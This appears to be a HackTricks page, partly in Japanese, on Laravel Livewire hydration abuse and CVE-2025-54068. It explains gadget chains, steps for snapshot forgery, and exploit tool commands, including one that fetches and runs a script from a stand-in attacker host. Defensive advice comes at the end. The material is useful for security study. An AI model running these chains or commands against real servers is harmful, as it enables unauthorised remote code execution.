Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Livewire の状態マシンの要約
Livewire 3 コンポーネントは、data、memo、およびチェックサムを含む スナップショット を介して状態を交換します。各 POST が /livewire/update に送られると、サーバー側で JSON スナップショットを復元し、キューに入った calls/updates を実行します。
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Anyone holding APP_KEY (used to derive $hashKey) can therefore forge arbitrary snapshots by recomputing the HMAC.
複雑なプロパティは、Livewire\Drawer\BaseUtils::isSyntheticTuple() で検出される synthetic tuples としてエンコードされます;各タプルは [value, {"s":"<key>", ...meta}] の形式です。hydration core は単に各タプルを HandleComponents::$propertySynthesizers で選択された synth に委譲し、子要素を再帰処理します:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
ツールはキャプチャしたスナップショットを解析し、gadget tuples を注入し、チェックサムを再計算して、送信準備ができた /livewire/update payload を出力します。
CVE-2025-54068 – RCE without APP_KEY
updates はスナップショットのチェックサムが検証された後にコンポーネント state にマージされます。スナップショット内のプロパティが(または synthetic tuple になる)場合、Livewire は attacker-controlled update value を hydrating する際にその meta を再利用します:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}]. - Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
この攻撃が成立する主な理由:
updatesは snapshot の checksum に含まれない。getMetaForPath()は、そのプロパティが以前に weak typing によって tuple に強制されていたとしても、既に存在している synth メタデータを信頼する。- 再帰処理と weak typing により、各ネストされた配列が新しい tuple として解釈されるため、任意の synth キーや任意のクラスが最終的に hydration に到達する。
Livepyre – end-to-end exploitation
Livepyre は APP_KEY 不要の CVE と署名済みスナップショット経路の両方を自動化します:
<script src="/livewire/livewire.js?id=HASH">を解析してデプロイされた Livewire バージョンをフィンガープリントし、そのハッシュを脆弱なリリースにマッピングする。- 無害な操作をリプレイして baseline snapshots を収集し、
components[].snapshotを抽出する。 - phpggc チェーンを埋め込んだ
updatesのみのペイロード(CVE-2025-54068)または改竄された snapshot(既知の APP_KEY)のいずれかを生成する。
典型的な使い方:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check は非破壊的 probe を実行し、-F はバージョンゲーティングをスキップし、-H と -P はカスタムヘッダまたはプロキシを追加し、--function/--param は gadget chain で呼び出される php 関数をカスタマイズします。
Defensive considerations
- ベンダーの通知に従い、修正済みの Livewire ビルド (>= 3.6.4 according to the vendor bulletin) にアップグレードし、CVE-2025-54068 のベンダーパッチを適用してください。
- Livewire コンポーネントで弱い型付けの public プロパティを避けてください;明示的なスカラー型はプロパティ値が配列/タプルに強制されるのを防ぎます。
- 実際に必要な synthesizers のみを登録し、ユーザー制御のメタデータ (
$meta['class']) を信頼しないものとして扱ってください。 - プロパティの JSON 型を変更する更新(例: scalar -> array)は明示的に許可されていない限り拒否し、古くなった tuples を再利用するのではなく synth metadata を再導出してください。
- いかにコードベースがパッチされていても、オフラインのスナップショット偽造を可能にするため、公開があった場合はただちに
APP_KEYをローテーションしてください。
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


